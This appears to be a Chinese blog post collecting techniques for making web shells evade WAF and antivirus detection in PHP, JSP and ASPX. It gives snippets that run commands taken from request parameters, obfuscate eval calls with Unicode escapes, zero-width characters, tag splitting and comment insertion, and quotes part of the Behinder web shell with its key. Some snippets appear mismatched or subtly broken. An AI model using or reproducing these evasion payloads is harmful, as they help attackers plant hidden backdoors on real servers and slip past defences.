0x01 PHP免杀技巧
1. 利用高版本PHP语法不换行执行命令
<code><?= $a=<<< aa assasssasssasssasssasssasssasssasssasssasssassss aa;echo `whoami` ?></code>
PHP 5.2 版本报错
PHP 5.3 版本报错
PHP 5.4 版本报错
PHP 7.3.4 成功执行命令
2. 利用\
特殊符号引起报错
<code><?php \echo `whoami`; ?></code>
PHP 5.3 执行命令失败
PHP 7.3 执行命令失败
PHP 5.2 成功执行命令
3. 十六进制字符串
<code><?php $s=substr("aabbccsystem","0x6"); $s(whoami) ?></code>
PHP 7.3 命令执行失败
PHP 5.2 命令执行失败
PHP 5.3 命令执行成功
除了上述方法,还可以结合垃圾数据、变形混淆、特殊字符和注释等方式构造更多payload,因为每个WAF规则和配置都不同,与传输层面的bypass结合可以产生更多可能性。
示例:
<code><?php $a = $_GET['function'] ?? 'whoami'; $b = $_GET['cmd'] ?? 'whoami'; $a(null.(null.$b)); ?></code>
0x02 JSP免杀技巧
0. 小Tips
JSP的后缀可以兼容为jspx的代码,如CDATA特性。
1. JSPX CDATA特性
<code><%@ Page Language="Jscript"%><% <![CDATA[ String cmd = request.getParameter("shell"); ]]%></code>
2. 实体化编码
<code><% if (cmd != null) { Process child = Runtime.getRuntime().exec(cmd); InputStream in = child.getInputStream(); } %></code>
3. 利用Java支持其他编码格式进行绕过
<code>charset = "utf-8" data = '''<%Runtime.getRuntime().exec(request.getParameter("i"));%>''' # ... (其他编码格式的处理)</code>
0x03 ASPX免杀技巧
1. Unicode编码
<code><%@ Page Language="Jscript"%><% \u0065\u0076\u0061\u006c(@Request.Item["pass"],"unsafe");%></code>
2. 空字符串连接
在函数字符串中插入\u200c、\u200d、\u200e、\u200f字符,不影响脚本正常运行。
3. 使用<%%>语法截断
<code><%@Page Language=JS%><%eval%><%(Request.%><%Item["pass"],"unsafe");%></code>
4. 头部替换
替换ASPX标识字段进行免杀,例如:
<code><%@ Page Language="Jscript"%>------><%@Page Language=JS%></code>
5. 使用特殊符号@
<code>(@Context.@Session["payload"] == null)</code>
6. 注释随意插入
如下所示为冰蝎部分代码,可以与<%%>结合使用效果会更好。
<%/*qi*/Session./*qi*/Add(@"k"/*qi*/,/*qi*/"e45e329feb5d925b"/*qi*/)
© 版权声明
THE END
暂无评论内容